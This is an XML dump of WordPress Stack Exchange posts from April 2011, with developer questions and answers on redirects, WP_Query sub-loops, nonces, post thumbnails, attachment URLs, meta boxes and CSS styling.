  <row Id="14758" PostTypeId="1" AcceptedAnswerId="14763" CreationDate="2011-04-14T15:47:29.230" Score="0" ViewCount="145" Body="&lt;p&gt;I'm about to migrate from an old Expression Engine website to a new WordPress site on the same domain. Is there anything I should be aware of with respects to redirecting old links?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The old site is quite well indexed in Search engines and linked to from other sites, but because the domain name is the same, I'm unsure of how to redirect all those old links in EE to the homepage of my new WP site without having to copy-paste all the existing individual URLs in .htaccess 301 redirects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;osu&lt;/p&gt;&#xA;" OwnerUserId="2685" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-14T16:22:11.090" LastActivityDate="2011-04-14T16:39:24.100" Title="Redirecting all old links from previous EE site to new WP site in one go?" Tags="&lt;url-rewriting&gt;&lt;redirect&gt;&lt;htaccess&gt;" AnswerCount="1" />
  <row Id="14759" PostTypeId="1" CreationDate="2011-04-14T16:07:06.487" Score="0" ViewCount="159" Body="&lt;p&gt;I need to add custom methods to the Xml-Rpc file and have found the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;pre&gt;&lt;code&gt;&lt;br&gt;&#xA;// Custom plugins&#xA;add_filter('xmlrpc_methods', 'custom_xmlrpc_methods');&lt;/p&gt;&#xA;&#xA;&lt;p&gt;function custom_xmlrpc_methods($methods)&#xA;{&#xA;    $methods['myMethod'] = 'my_function';&#xA;    return $methods;&#xA;}&#xA;&lt;/pre&gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;Is it possible to have the callback function in another file and if yes then how do you do that in the code?&#xA;&lt;/li&gt;&#xA;&lt;li&gt;If I have lots of custom methods what is the best approach to handling this?&lt;/li&gt;&#xA;&lt;/ul&gt; &#xA;&#xA;&lt;p&gt;Thanks&#xA;Michael&lt;/p&gt;&#xA;" OwnerUserId="4673" LastActivityDate="2011-05-23T08:33:44.927" Title="Extending xml rpc - best practice" Tags="&lt;xml-rpc&gt;" AnswerCount="3" />
  <row Id="14760" PostTypeId="2" ParentId="14759" CreationDate="2011-04-14T16:18:02.363" Score="0" ViewCount="" Body="&lt;p&gt;This doesn't realyl have much to do with WordPress, just generic PHP and your personal preferences in coding.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is it possible to have the callback function in another file and if yes then how do you do that in the code?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As with any PHP code you can split it between files and load them with &lt;a href=&quot;http://php.net/manual/en/function.include.php&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;include&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If I have lots of custom methods what is the best approach to handling this?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As for me (if you are not using classes) single file with all functions organized in some way (for example by purpose ot alphabet) will do.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-14T16:18:02.363" />
  <row Id="14761" PostTypeId="1" CreationDate="2011-04-14T16:19:25.083" Score="0" ViewCount="63" Body="&lt;p&gt;I want to make a custom post type (page) for a homepage, and within this make 3 custom posts types that are for Box 1, Box 2 and box 3 - can anyone help me with any information on how to produce this?&lt;/p&gt;&#xA;" OwnerUserId="3369" LastActivityDate="2011-08-15T01:24:25.080" Title="Homepage Custom post type with sub menus" Tags="&lt;custom-post-types&gt;" AnswerCount="1" />
  <row Id="14762" PostTypeId="1" AcceptedAnswerId="14764" CreationDate="2011-04-14T16:31:03.250" Score="0" ViewCount="259" Body="&lt;p&gt;I'm trying sort through the morass that is WP documentation, and just need someone to clear up the use of the term &quot;The Loop&quot; and how it relates to subloops.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My understanding of &quot;The Loop&quot; is that there is, and should only ever be, ONE &quot;The Loop&quot; per page/post - and that The Loop is responsible for iterating through that page/post/archive's content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In particular the_post() will populate a number of global variables with the relevant data extracted from the current position of the query in the main Loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also believe I understand that whenever creating a sub-loop (say you want to get a list of all child posts of each post listed in a category archive), you should use a new instance of the WP_Query object, as in: $subQuery = new WP_Query($args);&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where I run into confusion with the Codex docs is &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query#Methods&quot; rel=&quot;nofollow&quot;&gt;in the documentation of Wp_Query&lt;/a&gt;, specifically $subQuery-&gt;have_posts() and $subQuery-&gt;the_post().&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The documentation lists &quot;to be used when in The Loop&quot; for both of those methods, implying (to me) that they manipulate global variables that would affect The (outer) Loop. Is this the case? Or is $subQuery-&gt;have_posts() safe to use (ie: read only)? What about -&gt;the_post()? Does it affect The Loop globals?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the best practice for iterating through elements of a nested sub-loop that will not interfere with The Loop?&lt;/p&gt;&#xA;" OwnerUserId="3687" LastActivityDate="2011-04-14T16:41:28.203" Title="Sub-loop / nested loops Best Practices" Tags="&lt;wp-query&gt;&lt;the-loop&gt;&lt;best-practices&gt;" AnswerCount="1" />
  <row Id="14763" PostTypeId="2" ParentId="14758" CreationDate="2011-04-14T16:39:24.100" Score="0" ViewCount="" Body="&lt;p&gt;Good plugin: &lt;a href=&quot;http://urbangiraffe.com/plugins/redirection/&quot; rel=&quot;nofollow&quot;&gt;http://urbangiraffe.com/plugins/redirection/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can import CSV files of URLs to redirect, so use the string site:mydomain.com in Google to grab all your indexed URLs, get them into a file and when the WP site is live, import the file and then select the new target WP pages. The plugin has good 404 logging, too.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-04-14T16:39:24.100" CommentCount="1" />
  <row Id="14764" PostTypeId="2" ParentId="14762" CreationDate="2011-04-14T16:41:28.203" Score="1" ViewCount="" Body="&lt;p&gt;First see &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1753/when-should-you-use-wp-query-vs-query-posts-vs-get-posts&quot;&gt;When should you use WP_Query vs query_posts() vs get_posts()?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;My understanding of &quot;The Loop&quot; is that there is, and should only ever be, ONE &quot;The Loop&quot; per page/post - and that The Loop is responsible for iterating through that page/post/archive's content.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, it's commonly referred to as &quot;main loop&quot;. But &quot;loop&quot; in general can refer to iterating through any set of posts.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Or is $subQuery-&gt;have_posts() safe to use (ie: read only)?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, it's just a way to check if loop has posts that had not been iterated yet.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What about -&gt;the_post()? Does it affect The Loop globals?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, it does. After loops that use &lt;code&gt;the_post()&lt;/code&gt; (function or method) you need to call &lt;code&gt;wp_reset_postdata()&lt;/code&gt; (or more global &lt;code&gt;wp_reset_query()&lt;/code&gt; if you was messing with main loop) to cleanup global variables.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What's the best practice for iterating through elements of a nested sub-loop that will not interfere with The Loop?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This depends if you need to use template tags that rely on global &lt;code&gt;$post&lt;/code&gt;, so there are several approaches. You can iterate through new &lt;code&gt;WP_Query&lt;/code&gt; object and cleanup afterwards or just fetch array with &lt;code&gt;get_posts()&lt;/code&gt; and do something with it.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-14T16:41:28.203" CommentCount="5" />
  <row Id="14767" PostTypeId="1" CreationDate="2011-04-14T17:17:06.313" Score="-1" ViewCount="102" Body="&lt;p&gt;See www.iteachwriting.com. In Firefox it's great; in Chrome and Safari the search box hangs below into the header image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideas? CSS?&lt;/p&gt;&#xA;" OwnerUserId="2438" LastActivityDate="2011-06-19T02:03:59.457" ClosedDate="2011-06-20T13:57:10.080" Title="RedLine theme has search box cutting into header image in Chrome, Safari" Tags="&lt;css&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="14768" PostTypeId="1" AcceptedAnswerId="14769" CreationDate="2011-04-14T17:24:00.210" Score="0" ViewCount="144" Body="&lt;p&gt;On the &lt;strong&gt;Reading Settings&lt;/strong&gt; page you can set a &quot;Front Page&quot; and a &quot;Posts Page&quot;. You can check whether the current page &lt;code&gt;is_front_page();&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a similar function for the &quot;Posts Page&quot;. I have noticed that &lt;code&gt;is_page();&lt;/code&gt; does not work for this special page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="4647" LastActivityDate="2011-04-14T18:16:20.700" Title="Determine if page is the Posts Page" Tags="&lt;posts&gt;&lt;pages&gt;" AnswerCount="2" />
  <row Id="14769" PostTypeId="2" ParentId="14768" CreationDate="2011-04-14T17:29:13.500" Score="2" ViewCount="" Body="&lt;p&gt;&lt;code&gt;is_home()&lt;/code&gt; checks for the &quot;Posts Page&quot;, despite the somewhat confusing function name.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-04-14T17:29:13.500" CommentCount="1" />
  <row Id="14770" PostTypeId="1" CreationDate="2011-04-14T17:40:06.927" Score="1" ViewCount="170" Body="&lt;p&gt;I'm doing custom URL rewrites according to &lt;a href=&quot;http://matty.co.za/2009/11/custom-url-rewrites-in-wordpress/comment-page-1/&quot; rel=&quot;nofollow&quot;&gt;this method&lt;/a&gt; , which work beautifully. But as a result my regular post permalinks are broken. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I'm rewriting &quot;/pagename/1232432&quot; into &quot;/pagename?param=1232432&quot; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $wp_rewrite-&amp;gt;add_rewrite_tag( $rewrite_tag, '(.+)', 'param=' );&#xA;    $rewrite_keywords_structure = $wp_rewrite-&amp;gt;root . &quot;%pagename%/$rewrite_tag/&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(plus all the surrounding code from the example in the link above). Works fine. However, my normal posts like &quot;/2011/03/hello-world/&quot; no longer work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&#xA;MickP &lt;/p&gt;&#xA;" OwnerUserId="4676" LastActivityDate="2011-08-14T02:23:39.500" Title="Custom URL rewrites work, but break my permalinks" Tags="&lt;rewrite-rules&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="14771" PostTypeId="2" ParentId="14751" CreationDate="2011-04-14T17:43:07.267" Score="1" ViewCount="" Body="&lt;p&gt;By default, the lifetime of a nonce is one day. The nonce is generated by concatenating a variable representing the current day, the user id, and the name of the action, and hashing the resulting string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want the nonce value to change more frequently, you can filter the 'nonce_life' value. This function, for example, will force nonces to change every hour:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function nonce_hourly() {&#xA;    return 3600;&#xA;    }&#xA;add_filter( 'nonce_life', 'nonce_hourly' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this doesn't sound exactly like what you're trying to do, either. You may have better luck generating the kind of one-time nonces you want by using a different name for the &quot;action&quot; value of the nonce, one that will be truly unique to the specific action you're trying to perform. It looks as though you're using &quot;nonce-roll&quot; as the action name for some distinct actions that you want to be able to check separately — maybe you can use a more specific action name for each action you're trying to perform and authorize.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-04-14T17:43:07.267" CommentCount="1" />
  <row Id="14772" PostTypeId="1" AcceptedAnswerId="14775" CreationDate="2011-04-14T17:49:42.590" Score="0" ViewCount="259" Body="&lt;p&gt;has_post_thumbnail seems to be working fine but the_post_thumbnail returns nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($favorite_post_ids):&#xA;    foreach ($favorite_post_ids as $post_id) {&#xA;            $p = get_post($post_id);&#xA;            echo &quot;&amp;lt;li&amp;gt;&quot;;&#xA;            echo &quot;&amp;lt;a href='&quot;.get_permalink($post_id).&quot;' title='&quot;. $p-&amp;gt;post_title .&quot;'&amp;gt;&quot; . $p-&amp;gt;post_title . &quot;&amp;lt;/a&amp;gt; &quot;;&#xA;            wpfp_remove_favorite_link($post_id);&#xA;            if (has_post_thumbnail($post_id))&#xA;            {&#xA;                echo $post_id;&#xA;                the_post_thumbnail($post_id);&#xA;            }&#xA;            echo &quot;&amp;lt;/li&amp;gt;&quot;;&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the sample output:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;* Post101 remove 101&#xA;* Post97 remove 97&#xA;* Post59 remove 59&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Most of the code above is irrelevant, I just included it for clarity. I have echoed the $post_id to make sure that it is passing the if (has_post_thumbnail($post_id)), which it does but the_post_thumbnail fails silently. I tried echoing it too but that returns nothing either. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have got post_thumbnails turned on in the theme:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( function_exists( 'add_theme_support' ) ) { &#xA;  add_theme_support( 'post-thumbnails' ); &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;any ideas? thanks&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="4675" LastActivityDate="2011-04-14T18:27:31.273" Title="the_post_thumbnail() returns nothing even though has_post_thumbnail() returns true" Tags="&lt;3.1&gt;&lt;post-thumbnails&gt;" AnswerCount="1" />
  <row Id="14773" PostTypeId="1" AcceptedAnswerId="14776" CreationDate="2011-04-14T17:57:22.443" Score="1" ViewCount="154" Body="&lt;p&gt;I wanted to link images in a gallery to a custom URL. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I could add an extra field and do it &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3097/how-can-i-add-a-url-field-to-the-attachments-window&quot;&gt;this way&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found &lt;a href=&quot;http://core.trac.wordpress.org/ticket/13429&quot; rel=&quot;nofollow&quot;&gt;this ticket&lt;/a&gt; on Trac, though, that modifies the &quot;Link URL&quot; field to accept custom links. I like how that works and I'd like to make that work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trouble is, I can't seem to figure out how to access the data. I'm using get_children to create an array to loop through. The Link URL is not included in the results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried get_attachment_link - the trouble is, it doesn't just pull it from the field, the function generates the link itself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1766" LastActivityDate="2011-04-14T19:02:03.730" Title="Retrieving a custom link on an attachment" Tags="&lt;attachments&gt;&lt;gallery&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="14774" PostTypeId="2" ParentId="14768" CreationDate="2011-04-14T18:16:20.700" Score="1" ViewCount="" Body="&lt;p&gt;&quot;Posts page&quot; is usually an archive of:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;posts of a category&lt;/li&gt;&#xA;&lt;li&gt;posts of a tag&lt;/li&gt;&#xA;&lt;li&gt;posts of a date ( year, month...)&lt;/li&gt;&#xA;&lt;li&gt;posts of main archive&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Each one of these can be checked by a one of the many conditional tags like&#xA;&lt;code&gt;is_category()&#xA;is_tag()&#xA;is_date() &#xA;is_archive()&lt;/code&gt;&#xA;And so many more. To get a better understanding head over to the codex &lt;a href=&quot;http://codex.wordpress.org/Conditional_Tags&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Conditional_Tags&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-14T18:16:20.700" />
  <row Id="14775" PostTypeId="2" ParentId="14772" CreationDate="2011-04-14T18:27:31.273" Score="3" ViewCount="" Body="&lt;p&gt;You're passing an invalid argument to &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_post_thumbnail&quot; rel=&quot;nofollow&quot;&gt;the_post_thumbnail()&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's your code: &lt;code&gt;the_post_thumbnail($post_id);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what &lt;code&gt;the_post_thumbnail()&lt;/code&gt; expects: &lt;code&gt;the_post_thumbnail( $size, $attr );&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function is expecting a &lt;code&gt;$size&lt;/code&gt; as the first argument. Since &lt;code&gt;$post_id&lt;/code&gt; is not a valid &lt;code&gt;$size&lt;/code&gt;, the function doesn't know what to output.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-14T18:27:31.273" CommentCount="2" />
  <row Id="14776" PostTypeId="2" ParentId="14773" CreationDate="2011-04-14T19:02:03.730" Score="1" ViewCount="" Body="&lt;p&gt;On the Trac ticket you've linked at the bottom there is a solution to make it work&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function _save_attachment_url($post, $attachment) {&#xA;    if ( isset($attachment['url']) ) &#xA;        update_post_meta( $post['ID'], '_wp_attachment_url', esc_url_raw($attachment['url']) ); &#xA;    return $post;&#xA;}&#xA;add_filter('attachment_fields_to_save', '_save_attachment_url', 10, 2);&#xA;&#xA;function _replace_attachment_url($form_fields, $post) {&#xA;    if ( isset($form_fields['url']['html']) ) {&#xA;        $url = get_post_meta( $post-&amp;gt;ID, '_wp_attachment_url', true );&#xA;        if ( ! empty($url) )&#xA;            $form_fields['url']['html'] = preg_replace( &quot;/value='.*?'/&quot;, &quot;value='$url'&quot;, $form_fields['url']['html'] );&#xA;    }&#xA;    return $form_fields;&#xA;}&#xA;add_filter('attachment_fields_to_edit', '_replace_attachment_url', 10, 2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So after this code you will be able to add your custom links in the &quot;Link URL&quot; field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And to get it you just need the attachment ID and you can get it with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_post_meta( $post-&amp;gt;ID, '_wp_attachment_url', true );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-14T19:02:03.730" CommentCount="1" />
  <row Id="14777" PostTypeId="1" AcceptedAnswerId="14780" CreationDate="2011-04-14T19:30:56.643" Score="0" ViewCount="80" Body="&lt;p&gt;As you can see from the site, the bar where the various 'projects', 'magazines' and 'contact' links are is already slightly transparent. I'm trying to make it even more transparent (or totally see-through if possible. I've tried all sorts of mucking around with the stylesheet, but to no avail. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also - any pointers on how to move/resize those links in the menu bar would be greatly appreciated. &lt;/p&gt;&#xA;" OwnerUserId="4677" LastActivityDate="2011-04-14T20:28:05.043" Title="How can I make the menu bar in this page - http://www.randomthoughts.ie/shawati - more transparent?" Tags="&lt;css&gt;&lt;design&gt;&lt;wordpress.org&gt;" AnswerCount="1" />
  <row Id="14778" PostTypeId="2" ParentId="14727" CreationDate="2011-04-14T19:31:20.060" Score="0" ViewCount="" Body="&lt;p&gt;@Piet's answer is the best, but some sql code to remove all old revisions older than 28 days:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DELETE a,b,c FROM wp_posts a&#xA;LEFT JOIN wp_term_relationships b ON (a.ID=b.object_id)&#xA;LEFT JOIN wp_postmeta c ON (a.ID=c.post_id)&#xA;WHERE a.post_type='revision'&#xA;AND a.post_date &amp;lt; DATE_ADD(NOW(), INTERVAL -28 DAY);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;SQL and PHP code (for diffrent WP_PREFIX than &quot;wp_&quot;) &lt;a href=&quot;http://iworks.pl/wp-content/uploads/2011/01/iworks_revisions.zip&quot; rel=&quot;nofollow&quot;&gt;iworks_revisions.zip&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3768" LastActivityDate="2011-04-14T19:31:20.060" />
  <row Id="14779" PostTypeId="1" AcceptedAnswerId="14792" CreationDate="2011-04-14T19:53:37.143" Score="0" ViewCount="161" Body="&lt;p&gt;Is there any way to import a basic, exported Wordpress content XML file and have it replace the existing content?  What I'm trying to do is synch up two instances of a site (development and staging servers) and all I want to replace is the Page content.  When I try to import the XML document it simply states that all the pages already exist and nothing is done.  Is it possible to override that warning and replace the content of the pages with the content of the XML?&lt;/p&gt;&#xA;" OwnerUserId="3032" LastActivityDate="2011-04-14T22:53:39.063" Title="Import and replace existing page/post content" Tags="&lt;import&gt;&lt;content&gt;&lt;export&gt;" AnswerCount="1" />
  <row Id="14780" PostTypeId="2" ParentId="14777" CreationDate="2011-04-14T20:28:05.043" Score="0" ViewCount="" Body="&lt;p&gt;It would appear that the transparency is being driven by a 1px X 1px .png file that has just a little bit of transparency. To change this, you could do one of two things:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Option One:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Edit the file 'repeater.png' with an image editor (PhotoShop or something comparable) and lower the opacity of the layer. Resave, upload, replace.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Option Two:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Change the CSS Rule that is controlling your menu from --&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#menu { height:100%; left:30px; margin-right:40px; padding:100px 10px 0; position:fixed; top:0; width:255px; z-index:1; background:transparent url(images/repeater.png) repeat; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;-- to --&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#menu { height:100%; left:30px; margin-right:40px; padding:100px 10px 0; position:fixed; top:0; width:255px; z-index:1; background:rgba(0,0,0,0.2); }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The key difference here being the 'background' rule. The drawback with option two is that it relies on RGBA support for background colors (all browsers but IE6, 7, and 8). Basically RGBA is just a 0-255 value for Red, 0-255 value for Green, 0-255 value for Blue, 0-1 decimal value for the alpha transparency. 0,0,0,0.2 means no red, no green, no blue -- so black, and 20% opacity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the font size issue, target the element in need with a CSS selector and add a font-size rule. A Google search on CSS font-size implementation would help you brush up on what you need to do.&lt;/p&gt;&#xA;" OwnerUserId="4282" LastActivityDate="2011-04-14T20:28:05.043" />
  <row Id="14781" PostTypeId="2" ParentId="5688" CreationDate="2011-04-14T20:50:09.703" Score="2" ViewCount="" Body="&lt;p&gt;Unless I misunderstand your question, you want {$new_status}_{my-custom-post-type}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at the &lt;a href=&quot;http://adambrown.info/p/wp_hooks/hook/%7B%24new_status%7D_%7B%24post-%3Epost_type%7D&quot; rel=&quot;nofollow&quot;&gt;hook registration&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pippinspages.com/tutorials/publish-action-hook-for-custom-post-types/&quot; rel=&quot;nofollow&quot;&gt;This page (from Pippin's Posts)&lt;/a&gt; does a better job than I could at explaining it, but from your example, you would want &lt;code&gt;add_action('publish_episode-gallery', 'update_custom_ngg_table');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the source, the following status are available:&#xA;publish, future, draft, pending, private, trash, auto-draft and inherit.&lt;/p&gt;&#xA;" OwnerUserId="3687" LastActivityDate="2011-04-14T20:50:09.703" />
  <row Id="14782" PostTypeId="1" AcceptedAnswerId="14783" CreationDate="2011-04-14T20:55:51.227" Score="0" ViewCount="198" Body="&lt;p&gt;Is there an explicit action hook that will fire when (or just before) the admin Edit page renders for a custom post type? Something similar to {$new_status}_{$post-&gt;post_type}?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to find the least obtrusive place to insert my add_meta_box() registration so that it's not calling that function on every page refresh, but only when it's needed (ie: the user wants to create a new custom post or edit an existing custom post).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your thoughts / code snippets!&lt;/p&gt;&#xA;" OwnerUserId="3687" LastActivityDate="2011-04-14T21:06:06.027" Title="Action hook on Edit custom post type?" Tags="&lt;custom-post-types&gt;&lt;actions&gt;&lt;add-meta-box&gt;" AnswerCount="1" />
  <row Id="14783" PostTypeId="2" ParentId="14782" CreationDate="2011-04-14T21:06:06.027" Score="2" ViewCount="" Body="&lt;p&gt;&lt;code&gt;register_post_type()&lt;/code&gt; has a registration option called &lt;code&gt;'register_meta_box_cb'&lt;/code&gt;. Set that to a valid callback and it will call that function only when it is compiling the meta boxes for that post type's edit screen. Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_post_type( 'foo', array(&#xA;  'public' =&amp;gt; true,&#xA;  'label' =&amp;gt; 'foo',&#xA;  'register_meta_box_cb' =&amp;gt; 'bar',&#xA;));&#xA;&#xA;function bar(){&#xA;  add_meta_box('blah', 'blah', /* etc */ );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-04-14T21:06:06.027" CommentCount="3" />
  <row Id="14784" PostTypeId="2" ParentId="14707" CreationDate="2011-04-14T21:23:40.673" Score="0" ViewCount="" Body="&lt;p&gt;This is the final javascript function. It should be hooked into &lt;code&gt;admin_footer&lt;/code&gt; hook.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * jQuery show/hide for meta box, post editor meta box&#xA; * &#xA; * Hides/Shows boxes on demand - depending on your selection inside the post formats meta box&#xA; */&#xA;function wpse14707_scripts()&#xA;{&#xA;    wp_enqueue_script( 'jquery' );&#xA;&#xA;    $script = '&amp;lt;&amp;lt;&amp;lt; EOF&#xA;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;        jQuery( document ).ready( function($)&#xA;            {&#xA;                $( &quot;#post_format_box&quot; ).addClass( &quot;hidden&quot; );&#xA;&#xA;                $( &quot;input#post-format-0&quot; ).change( function() {&#xA;                    $( &quot;#postdivrich&quot; ).removeClass( &quot;hidden&quot; );&#xA;                    $( &quot;#post_format_box&quot; ).addClass( &quot;hidden&quot; );&#xA;                } );&#xA;&#xA;                $( &quot;input:not(#post-format-0)&quot; ).change( function() {&#xA;                    $( &quot;#postdivrich&quot; ).addClass( &quot;hidden&quot; );&#xA;                    $( &quot;#post_format_box&quot; ).removeClass( &quot;hidden&quot; );&#xA;                } );&#xA;&#xA;                $( &quot;input[name=\&quot;post_format\&quot;]&quot; ).click( function() {&#xA;                    var mydiv = $(this).attr( &quot;id&quot; ).replace( &quot;post-format-&quot;, &quot;&quot; );&#xA;                    $( &quot;#post_format_box div.inside div&quot; ).addClass(&quot;hidden&quot;);&#xA;                    $( &quot;#post_format_box div.inside div#&quot;+mydiv).removeClass( &quot;hidden&quot; );&#xA;                } );&#xA;            }&#xA;        );&#xA;    &amp;lt;/script&amp;gt;&#xA;    EOF';&#xA;&#xA;    return print $script;&#xA;}&#xA;add_action( 'admin_footer', 'wpse14707_scripts' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-04-14T21:23:40.673" CommentCount="1" />
  <row Id="14785" PostTypeId="1" CreationDate="2011-04-14T21:54:37.277" Score="0" ViewCount="87" Body="&lt;p&gt;I've tried to edit my posts' category but to no avail. The editor and the quick edit menu both ignore when I uncheck a category and check a different one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a bug?&lt;/p&gt;&#xA;" OwnerUserId="963" LastActivityDate="2011-04-14T21:54:37.277" Title="Why can't I change my posts' categories in Wordpress 3.1.1?" Tags="&lt;categories&gt;" CommentCount="2" />
